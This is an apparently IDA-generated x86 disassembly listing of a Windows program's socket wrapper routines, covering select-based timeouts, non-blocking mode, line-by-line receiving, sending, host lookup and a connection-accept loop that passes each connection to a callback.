; =============== S U B R O U T I N E =======================================
sub_41A8C0 proc near ; CODE XREF: sub_401B3Bj
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 210h
push ebx
push ebp
push esi
mov esi, ecx
push edi
cmp dword ptr [esi+806h], 0FFFFFFFFh
jz loc_41AA24
mov al, [esi+80Bh]
test al, al
jz loc_41AA24
mov edi, dword_50F8A4
call edi
mov ebp, eax
mov al, [esi+80Dh]
test al, al
jnz loc_41A9BC
mov ebx, [esp+220h+arg_8]
test ebx, ebx
jz loc_41A9BC
call sub_40195B
test al, al
jz loc_41A9BC
loc_41A91B: ; CODE XREF: sub_41A8C0+F6j
mov eax, [esi+806h]
mov ecx, 1
mov [esp+220h+var_100], eax
mov [esp+220h+var_104], ecx
mov [esp+220h+var_204], eax
mov [esp+220h+var_208], ecx
mov [esp+220h+var_210], 0
mov [esp+220h+var_20C], 64h
call edi
sub eax, ebp
cmp eax, ebx
ja loc_41AA24
lea eax, [esp+220h+var_210]
lea ecx, [esp+220h+var_208]
push eax
mov eax, [esi+806h]
push ecx
lea edx, [esp+228h+var_104]
push 0
inc eax
push edx
push eax
call near ptr 71AB2DC0h
nop
test eax, eax
jz short loc_41A9AF
mov edx, [esi+806h]
lea ecx, [esp+220h+var_208]
push ecx
push edx
call sub_436F60
; ---------------------------------------------------------------------------
test eax, eax
jnz loc_41AA24
mov ecx, [esi+806h]
lea eax, [esp+220h+var_104]
push eax
push ecx
call sub_436F60
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41A9BC
loc_41A9AF: ; CODE XREF: sub_41A8C0+BCj
call sub_40195B
test al, al
jnz loc_41A91B
loc_41A9BC: ; CODE XREF: sub_41A8C0+39j
; sub_41A8C0+48j ...
call sub_40195B
test al, al
jz short loc_41AA24
mov edx, [esp+220h+arg_4]
mov eax, [esp+220h+arg_0]
mov ecx, [esi+806h]
push 0
push edx
push eax
push ecx
call near ptr 71AB615Ah
nop
mov ecx, [esp+220h+arg_C]
test ecx, ecx
jz short loc_41A9F1
mov [ecx], eax
loc_41A9F1: ; CODE XREF: sub_41A8C0+12Dj
cmp eax, 0FFFFFFFFh
jz short loc_41AA09
test eax, eax
jz short loc_41AA09
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 210h
retn 10h
; ---------------------------------------------------------------------------
loc_41AA09: ; CODE XREF: sub_41A8C0+134j
; sub_41A8C0+138j
nop
call near ptr 71AB94DCh
pop edi
cmp eax, 2733h
pop esi
pop ebp
setz al
pop ebx
add esp, 210h
retn 10h
; ---------------------------------------------------------------------------
loc_41AA24: ; CODE XREF: sub_41A8C0+13j
; sub_41A8C0+21j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 210h
retn 10h
sub_41A8C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AAA0: ; CODE XREF: ___:00401618j
mov eax, [ecx+806h]
cmp eax, 0FFFFFFFFh
jz short loc_41AAF1
mov dl, [ecx+80Bh]
test dl, dl
jz short loc_41AAF1
mov ecx, [esp+8]
mov edx, [esp+4]
push 0
push ecx
push edx
push eax
nop
call near ptr 71AB428Ah
mov ecx, [esp+0Ch]
test ecx, ecx
jz short loc_41AAD2
mov [ecx], eax
loc_41AAD2: ; CODE XREF: ___:0041AACEj
cmp eax, 0FFFFFFFFh
jz short loc_41AAE0
test eax, eax
jz short loc_41AAE0
mov al, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_41AAE0: ; CODE XREF: ___:0041AAD5j
; ___:0041AAD9j
call near ptr 71AB94DCh
nop
cmp eax, 2733h
setz al
retn 0Ch
; ---------------------------------------------------------------------------
loc_41AAF1: ; CODE XREF: ___:0041AAA9j
; ___:0041AAB3j
xor al, al
retn 0Ch
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AB20: ; CODE XREF: ___:004019B0j
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+10h], esi
call sub_40195B
test al, al
jnz short loc_41AB3C
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AB3C: ; CODE XREF: ___:0041AB32j
mov al, [esi+80Bh]
xor ebx, ebx
cmp al, bl
jnz short loc_41AB52
loc_41AB48: ; CODE XREF: ___:0041AB8Dj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AB52: ; CODE XREF: ___:0041AB46j
mov eax, [esp+1Ch]
mov ebp, [esp+18h]
xor esi, esi
dec eax
cmp eax, ebx
mov [ebp+0], bl
mov byte ptr [esp+18h], 1
jle short loc_41ABB6
mov edi, ebp
loc_41AB6B: ; CODE XREF: ___:0041ABB4j
cmp edi, ebx
jz short loc_41ABB6
cmp [esp+18h], bl
jz short loc_41ABB6
call sub_40195B
test al, al
jz short loc_41ABB6
mov ecx, [esp+10h]
push ebx
push 1
push edi
call sub_401960
test al, al
jz short loc_41AB48
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41ABA1
cmp al, 0Dh
jz short loc_41ABA1
cmp al, bl
jnz short loc_41ABA9
loc_41ABA1: ; CODE XREF: ___:0041AB97j
; ___:0041AB9Bj
mov [esi+ebp-1], bl
mov [esp+18h], bl
loc_41ABA9: ; CODE XREF: ___:0041AB9Fj
mov ecx, [esp+1Ch]
inc esi
inc edi
lea eax, [ecx-1]
cmp esi, eax
jl short loc_41AB6B
loc_41ABB6: ; CODE XREF: ___:0041AB67j
; ___:0041AB6Dj ...
mov edx, [esp+1Ch]
pop edi
pop esi
mov al, 1
mov [edx+ebp-1], bl
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AC00: ; CODE XREF: ___:00402180j
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+10h], esi
call sub_40195B
test al, al
jnz short loc_41AC1C
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AC1C: ; CODE XREF: ___:0041AC12j
mov al, [esi+80Bh]
xor ebx, ebx
cmp al, bl
jnz short loc_41AC32
loc_41AC28: ; CODE XREF: ___:0041AC6Dj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AC32: ; CODE XREF: ___:0041AC26j
mov eax, [esp+1Ch]
mov ebp, [esp+18h]
xor esi, esi
dec eax
cmp eax, ebx
mov [ebp+0], bl
mov byte ptr [esp+18h], 1
jle short loc_41AC9D
mov edi, ebp
loc_41AC4B: ; CODE XREF: ___:0041AC9Bj
cmp edi, ebx
jz short loc_41AC9D
cmp [esp+18h], bl
jz short loc_41AC9D
call sub_40195B
test al, al
jz short loc_41AC9D
mov ecx, [esp+10h]
push ebx
push 1
push edi
call sub_401960
test al, al
jz short loc_41AC28
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41AC7D
cmp al, bl
jnz short loc_41AC90
loc_41AC7D: ; CODE XREF: ___:0041AC77j
cmp byte ptr [esi+ebp-1], 0Dh
jnz short loc_41AC8A
mov [esi+ebp-1], bl
jmp short loc_41AC8C
; ---------------------------------------------------------------------------
loc_41AC8A: ; CODE XREF: ___:0041AC82j
mov [edi], bl
loc_41AC8C: ; CODE XREF: ___:0041AC88j
mov [esp+18h], bl
loc_41AC90: ; CODE XREF: ___:0041AC7Bj
mov ecx, [esp+1Ch]
inc esi
inc edi
lea eax, [ecx-1]
cmp esi, eax
jl short loc_41AC4B
loc_41AC9D: ; CODE XREF: ___:0041AC47j
; ___:0041AC4Dj ...
mov edx, [esp+1Ch]
pop edi
pop esi
mov al, 1
mov [edx+ebp-1], bl
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41ACE0: ; CODE XREF: ___:00401082j
push esi
mov esi, ecx
call sub_40195B
test al, al
jnz short loc_41ACF2
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41ACF2: ; CODE XREF: ___:0041ACEAj
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jnz short loc_41AD03
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AD03: ; CODE XREF: ___:0041ACFBj
mov ecx, [esp+0Ch]
mov edx, [esp+8]
push ecx
push edx
push eax
call near ptr 71AB951Eh
nop
pop esi
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41AD30 proc near ; CODE XREF: sub_401893j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
call sub_40195B
test al, al
jnz short loc_41AD42
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AD42: ; CODE XREF: sub_41AD30+Aj
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jnz short loc_41AD53
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AD53: ; CODE XREF: sub_41AD30+1Bj
mov ecx, [esp+4+arg_4]
mov edx, [esp+4+arg_0]
push ecx
push edx
push eax
nop
call near ptr 71AC0B50h
pop esi
retn 8
sub_41AD30 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AD80: ; CODE XREF: ___:00401C3Fj
sub esp, 10Ch
push esi
mov esi, ecx
xor ecx, ecx
mov al, [esi+80Ch]
cmp al, cl
mov eax, [esi+806h]
jnz short loc_41ADBF
cmp eax, 0FFFFFFFFh
jz short loc_41ADB5
cmp [esi+80Bh], cl
jz short loc_41ADB5
mov eax, 1
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41ADB5: ; CODE XREF: ___:0041AD9Ej
; ___:0041ADA6j
xor eax, eax
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41ADBF: ; CODE XREF: ___:0041AD99j
lea edx, [esp+4]
mov [esp+10h], eax
push edx
lea edx, [esp+10h]
push ecx
push edx
inc eax
push ecx
push eax
mov dword ptr [esp+20h], 1
mov [esp+18h], ecx
mov [esp+1Ch], ecx
call near ptr 71AB2DC0h
nop
test eax, eax
jnz short loc_41ADF5
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41ADF5: ; CODE XREF: ___:0041ADE9j
mov ecx, [esi+806h]
lea eax, [esp+0Ch]
push eax
push ecx
call sub_436F60
; ---------------------------------------------------------------------------
test eax, eax
setnz al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AE50: ; CODE XREF: ___:004016E5j
sub esp, 10Ch
push esi
mov esi, ecx
xor ecx, ecx
cmp [esi+80Ch], cl
jnz short loc_41AE6D
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AE6D: ; CODE XREF: ___:0041AE61j
mov eax, [esi+806h]
lea edx, [esp+4]
push edx
lea edx, [esp+10h]
mov [esp+14h], eax
push edx
push ecx
inc eax
push ecx
push eax
mov dword ptr [esp+20h], 1
mov [esp+18h], ecx
mov [esp+1Ch], ecx
nop
call near ptr 71AB2DC0h
test eax, eax
jnz short loc_41AEA9
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AEA9: ; CODE XREF: ___:0041AE9Dj
mov ecx, [esi+806h]
lea eax, [esp+0Ch]
push eax
push ecx
call sub_436F60
; ---------------------------------------------------------------------------
test eax, eax
setnz al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AEF0: ; CODE XREF: ___:0040173Aj
push esi
mov esi, [esp+8]
push edi
mov edi, ecx
push 800h
lea edx, [esi+6]
mov ax, [edi+4]
lea ecx, [edi+6]
push ecx
push edx
mov [esi+4], ax
nop
call near ptr 77C47A90h
xor al, al
add esp, 0Ch
mov dword ptr [esi+806h], 0FFFFFFFFh
mov [esi+80Ch], al
mov [esi+80Bh], al
mov al, [edi+80Dh]
mov [esi+80Dh], al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41AF60 proc near ; CODE XREF: sub_4018BBj
arg_0 = dword ptr 4
mov al, byte ptr [esp+arg_0]
test al, al
mov [ecx+80Ch], al
jz short loc_41AF90
mov ecx, [ecx+806h]
lea eax, [esp+arg_0]
push eax
push 8004667Eh
push ecx
mov [esp+0Ch+arg_0], 1
nop
call near ptr 71AB4519h
retn 4
; ---------------------------------------------------------------------------
loc_41AF90: ; CODE XREF: sub_41AF60+Cj
mov eax, [ecx+806h]
lea edx, [esp+arg_0]
push edx
push 8004667Eh
push eax
mov [esp+0Ch+arg_0], 0
nop
call near ptr 71AB4519h
retn 4
sub_41AF60 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41AFE0 proc near ; CODE XREF: sub_401186j
push esi
mov esi, ecx
push 0
lea ecx, [esi+4]
call sub_401C35
mov dword ptr [esi], offset off_43E0C0
mov eax, esi
pop esi
retn
sub_41AFE0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B010 proc near ; CODE XREF: ___:00401915j sub_401E74j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_40186B
test [esp+4+arg_0], 1
jz short loc_41B028
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_41B028: ; CODE XREF: sub_41B010+Dj
mov eax, esi
pop esi
retn 4
sub_41B010 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B040 proc near ; CODE XREF: sub_40186Bj
mov dword ptr [ecx], offset off_43E0C0
add ecx, 4
jmp sub_401FC8
sub_41B040 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B060 proc near ; CODE XREF: sub_401636j
arg_0 = dword ptr 4
push esi
push edi
call sub_40195B
test al, al
jnz short loc_41B072
pop edi
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_41B072: ; CODE XREF: sub_41B060+9j
mov esi, [esp+8+arg_0]
push esi
nop
call near ptr 71AB2BF4h
cmp eax, 0FFFFFFFFh
jnz short loc_41B0C5
push esi
nop
call near ptr 71AB4FD4h
mov edi, eax
test edi, edi
jnz short loc_41B097
pop edi
or eax, 0FFFFFFFFh
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_41B097: ; CODE XREF: sub_41B060+2Dj
mov eax, [edi+0Ch]
xor esi, esi
cmp dword ptr [eax], 0
jz short loc_41B0AC
loc_41B0A1: ; CODE XREF: sub_41B060+4Aj
mov ecx, [eax+4]
add eax, 4
inc esi
test ecx, ecx
jnz short loc_41B0A1
loc_41B0AC: ; CODE XREF: sub_41B060+3Fj
call sub_401EEC
dec esi
push esi
push 0
call sub_4021A3
; ---------------------------------------------------------------------------
mov ecx, [edi+0Ch]
add esp, 8
mov edx, [ecx+eax*4]
mov eax, [edx]
loc_41B0C5: ; CODE XREF: sub_41B060+20j
pop edi
pop esi
retn 4
sub_41B060 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B0F0: ; CODE XREF: ___:00402095j
push 0FFFFFFFFh
push offset loc_43AD07
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 38h
push ebx
push esi
xor ebx, ebx
push edi
mov [esp+0Ch], ebx
call sub_40195B
test al, al
jnz short loc_41B12F
mov eax, [esp+58h]
mov esi, [esp+54h]
push eax
mov ecx, esi
call sub_401861
jmp loc_41B2DB
; ---------------------------------------------------------------------------
loc_41B12F: ; CODE XREF: ___:0041B118j
mov ecx, [esp+58h]
push ecx
lea ecx, [esp+30h]
call sub_401861
mov edi, 1
lea ecx, [esp+2Ch]
mov [esp+4Ch], edi
call sub_4017E4
test eax, eax
push offset byte_446F70
jnz short loc_41B16C
mov esi, [esp+58h]
mov ecx, esi
call sub_401861
mov [esp+0Ch], edi
jmp loc_41B2CE
; ---------------------------------------------------------------------------
loc_41B16C: ; CODE XREF: ___:0041B156j
lea ecx, [esp+30h]
call sub_4012EE
test eax, eax
push offset byte_446F70
jnz short loc_41B192
mov esi, [esp+58h]
mov ecx, esi
call sub_401861
mov [esp+0Ch], edi
jmp loc_41B2CE
; ---------------------------------------------------------------------------
loc_41B192: ; CODE XREF: ___:0041B17Cj
lea ecx, [esp+18h]
call sub_401861
lea edx, [esp+10h]
push ebx
push edx
push ebx
push ebx
push 0Fh
lea ecx, [esp+40h]
mov byte ptr [esp+60h], 2
call sub_4017E4
push eax
call sub_436FC6
; ---------------------------------------------------------------------------
cmp eax, ebx
jz short loc_41B1D6
mov esi, [esp+54h]
lea eax, [esp+14h]
push eax
mov ecx, esi
call sub_4014C9
mov [esp+0Ch], edi
jmp loc_41B2C0
; ---------------------------------------------------------------------------
loc_41B1D6: ; CODE XREF: ___:0041B1BBj
mov edi, [esp+10h]
mov esi, offset dword_443DD4
mov ecx, [edi]
mov eax, [ecx+4]
loc_41B1E4: ; CODE XREF: ___:0041B202j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_41B208
cmp cl, bl
jz short loc_41B204
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_41B208
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_41B1E4
loc_41B204: ; CODE XREF: ___:0041B1EEj
xor eax, eax
jmp short loc_41B20D
; ---------------------------------------------------------------------------
loc_41B208: ; CODE XREF: ___:0041B1EAj
; ___:0041B1F8j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41B20D: ; CODE XREF: ___:0041B206j
cmp eax, ebx
jz short loc_41B27B
push ebp
loc_41B212: ; CODE XREF: ___:0041B265j
; ___:0041B269j
nop
call near ptr 27F0769h
and eax, 0Fh
cmp al, 8
jnz short loc_41B226
cmp word ptr [edi+8], 0Fh
jz short loc_41B26B
loc_41B226: ; CODE XREF: ___:0041B21Dj
mov edi, [edi]
mov ebp, [esp+14h]
cmp edi, ebx
jnz short loc_41B232
mov edi, ebp
loc_41B232: ; CODE XREF: ___:0041B22Ej
mov eax, [edi+4]
mov esi, offset dword_443DD4
loc_41B23A: ; CODE XREF: ___:0041B258j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_41B25E
cmp cl, bl
jz short loc_41B25A
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_41B25E
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_41B23A
loc_41B25A: ; CODE XREF: ___:0041B244j
xor eax, eax
jmp short loc_41B263
; ---------------------------------------------------------------------------
loc_41B25E: ; CODE XREF: ___:0041B240j
; ___:0041B24Ej
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41B263: ; CODE XREF: ___:0041B25Cj
cmp eax, ebx
jnz short loc_41B212
mov edi, ebp
jmp short loc_41B212
; ---------------------------------------------------------------------------
loc_41B26B: ; CODE XREF: ___:0041B224j
mov eax, [edi+18h]
lea ecx, [esp+18h]
push eax
call sub_4015D7
pop ebp
jmp short loc_41B288
; ---------------------------------------------------------------------------
loc_41B27B: ; CODE XREF: ___:0041B20Fj
mov ecx, [edi+18h]
push ecx
lea ecx, [esp+18h]
call sub_4015D7
loc_41B288: ; CODE XREF: ___:0041B279j
push offset byte_446F70
lea ecx, [esp+18h]
call sub_4012EE
test eax, eax
jnz short loc_41B2A8
mov edx, [esp+58h]
lea ecx, [esp+14h]
push edx
call sub_4015D7
loc_41B2A8: ; CODE XREF: ___:0041B298j
mov esi, [esp+54h]
lea eax, [esp+14h]
push eax
mov ecx, esi
call sub_4014C9
mov dword ptr [esp+0Ch], 1
loc_41B2C0: ; CODE XREF: ___:0041B1D1j
lea ecx, [esp+14h]
mov byte ptr [esp+4Ch], 1
call sub_401226
loc_41B2CE: ; CODE XREF: ___:0041B167j
; ___:0041B18Dj
lea ecx, [esp+2Ch]
mov [esp+4Ch], bl
call sub_401226
loc_41B2DB: ; CODE XREF: ___:0041B12Aj
mov ecx, [esp+44h]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 44h
retn 8
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B390: ; CODE XREF: ___:00402135j
push esi
mov esi, ecx
call sub_401E6A
push 0
lea ecx, [esi+15h]
call sub_401C35
mov dword ptr [esi], offset off_43E0C4
mov dword ptr [esi+11h], 0
mov dword ptr [esi+823h], 0
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B3D0 proc near ; CODE XREF: sub_4013FCj ___:00402018j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401BCC
test [esp+4+arg_0], 1
jz short loc_41B3E8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_41B3E8: ; CODE XREF: sub_41B3D0+Dj
mov eax, esi
pop esi
retn 4
sub_41B3D0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B400 proc near ; CODE XREF: sub_401BCCj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41B400
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401FC8
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41B400 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B470: ; CODE XREF: ___:00401D3Ej
push esi
mov esi, ecx
call sub_401E6A
push 0
lea ecx, [esi+15h]
call sub_401C35
mov eax, [esp+8]
mov ecx, [esp+0Ch]
mov [esi+11h], eax
mov dword ptr [esi], offset off_43E0C4
mov [esi+823h], ecx
mov eax, esi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B4B0 proc near ; CODE XREF: sub_40167Cj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 14h
push edi
mov edi, ecx
mov eax, [edi+11h]
test eax, eax
jz loc_41B5C0
mov ecx, [edi+823h]
test ecx, ecx
jz loc_41B5C0
push ebx
push ebp
lea ebx, [edi+15h]
push esi
push eax
mov ecx, ebx
xor esi, esi
call sub_401488
mov ebp, dword_50F8D0
test al, al
jnz short loc_41B513
loc_41B4E9: ; CODE XREF: sub_41B4B0+61j
mov al, [edi+10h]
test al, al
jz loc_41B5AF
mov al, byte_4E6E84
test al, al
jz short loc_41B513
push 7D0h
call ebp
mov eax, [edi+11h]
mov ecx, ebx
push eax
call sub_401488
test al, al
jz short loc_41B4E9
loc_41B513: ; CODE XREF: sub_41B4B0+37j
; sub_41B4B0+4Bj
mov al, [edi+10h]
test al, al
jz loc_41B5AF
loc_41B51E: ; CODE XREF: sub_41B4B0+F9j
mov al, byte_4E6E84
test al, al
jz loc_41B5AF
test esi, esi
jnz short loc_41B54E
push 80Eh
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_41B54A
push esi
mov ecx, eax
call sub_401C35
jmp short loc_41B54C
; ---------------------------------------------------------------------------
loc_41B54A: ; CODE XREF: sub_41B4B0+8Ej
xor eax, eax
loc_41B54C: ; CODE XREF: sub_41B4B0+98j
mov esi, eax
loc_41B54E: ; CODE XREF: sub_41B4B0+7Dj
push 0
push 0
push esi
mov ecx, ebx
call sub_401B81
test al, al
jnz short loc_41B567
push 7D0h
call ebp
jmp short loc_41B5A4
; ---------------------------------------------------------------------------
loc_41B567: ; CODE XREF: sub_41B4B0+ACj
xor ecx, ecx
lea edx, [esp+24h+var_14]
mov [esp+24h+var_10], ecx
lea eax, [esp+24h+var_10]
mov [esp+24h+var_C], ecx
push edx
mov [esp+28h+var_8], ecx
push eax
mov [esp+2Ch+var_4], ecx
mov ecx, esi
mov [esp+2Ch+var_14], 10h
call sub_401893
mov al, byte ptr [esp+24h+var_C]
test al, al
jz short loc_41B5A4
push esi
call dword ptr [edi+823h]
add esp, 4
loc_41B5A4: ; CODE XREF: sub_41B4B0+B5j
; sub_41B4B0+E8j
mov al, [edi+10h]
test al, al
jnz loc_41B51E
loc_41B5AF: ; CODE XREF: sub_41B4B0+3Ej
; sub_41B4B0+68j ...
mov ecx, ebx
call sub_4014DD
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_41B5C0: ; CODE XREF: sub_41B4B0+Bj
; sub_41B4B0+19j
xor eax, eax
pop edi
add esp, 14h
retn
sub_41B4B0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B620: ; CODE XREF: ___:00401C21j
mov eax, [esp+0Ch]
push ebx
push ebp
mov ebp, [esp+10h]
push esi
push edi
xor ebx, ebx
xor edi, edi
dec eax
mov [ebp+0], bl
cmp eax, ebx
mov byte ptr [esp+18h], 1
jle short loc_41B695
mov esi, ebp
loc_41B63F: ; CODE XREF: ___:0041B693j
cmp esi, ebx
jz short loc_41B695
cmp [esp+18h], bl
jz short loc_41B695
mov ecx, [esp+14h]
push ebx
push 1
push esi
push ecx
call near ptr 71AB615Ah
nop
cmp eax, ebx
jz short loc_41B6A4
cmp eax, 0FFFFFFFFh
jz short loc_41B6A4
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jz short loc_41B69D
mov [edi+ebp+1], bl
mov al, [esi]
cmp al, 0Ah
jz short loc_41B680
cmp al, 0Dh
jz short loc_41B680
cmp al, bl
jnz short loc_41B688
loc_41B680: ; CODE XREF: ___:0041B676j
; ___:0041B67Aj
mov [edi+ebp-1], bl
mov [esp+18h], bl
loc_41B688: ; CODE XREF: ___:0041B67Ej
mov edx, [esp+1Ch]
inc edi
inc esi
lea eax, [edx-1]
cmp edi, eax
jl short loc_41B63F
loc_41B695: ; CODE XREF: ___:0041B63Bj
; ___:0041B641j ...
mov eax, [esp+1Ch]
mov [eax+ebp-1], bl
loc_41B69D: ; CODE XREF: ___:0041B66Cj
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41B6A4: ; CODE XREF: ___:0041B65Aj
; ___:0041B65Fj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B6E0 proc near ; CODE XREF: sub_401280j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
xor ebx, ebx
xor esi, esi
dec eax
cmp eax, ebx
push edi
mov [ebp+0], bl
mov byte ptr [esp+10h+arg_4], 1
jle short loc_41B74A
mov edi, ebp
loc_41B6FF: ; CODE XREF: sub_41B6E0+68j
cmp edi, ebx
jz short loc_41B74A
cmp byte ptr [esp+10h+arg_4], bl
jz short loc_41B74A
mov ecx, [esp+10h+arg_0]
push ebx
push 1
push edi
push ecx
call near ptr 71AB615Ah
nop
test eax, eax
jz short loc_41B759
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41B72A
cmp al, bl
jnz short loc_41B73D
loc_41B72A: ; CODE XREF: sub_41B6E0+44j
cmp byte ptr [esi+ebp-1], 0Dh
jnz short loc_41B737
mov [esi+ebp-1], bl
jmp short loc_41B739
; ---------------------------------------------------------------------------
loc_41B737: ; CODE XREF: sub_41B6E0+4Fj
mov [edi], bl
loc_41B739: ; CODE XREF: sub_41B6E0+55j
mov byte ptr [esp+10h+arg_4], bl
loc_41B73D: ; CODE XREF: sub_41B6E0+48j
mov edx, [esp+10h+arg_8]
inc esi
inc edi
lea eax, [edx-1]
cmp esi, eax
jl short loc_41B6FF
loc_41B74A: ; CODE XREF: sub_41B6E0+1Bj
; sub_41B6E0+21j ...
mov eax, [esp+10h+arg_8]
pop edi
pop esi
mov [eax+ebp-1], bl
pop ebp
mov al, 1
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41B759: ; CODE XREF: sub_41B6E0+3Aj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
sub_41B6E0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
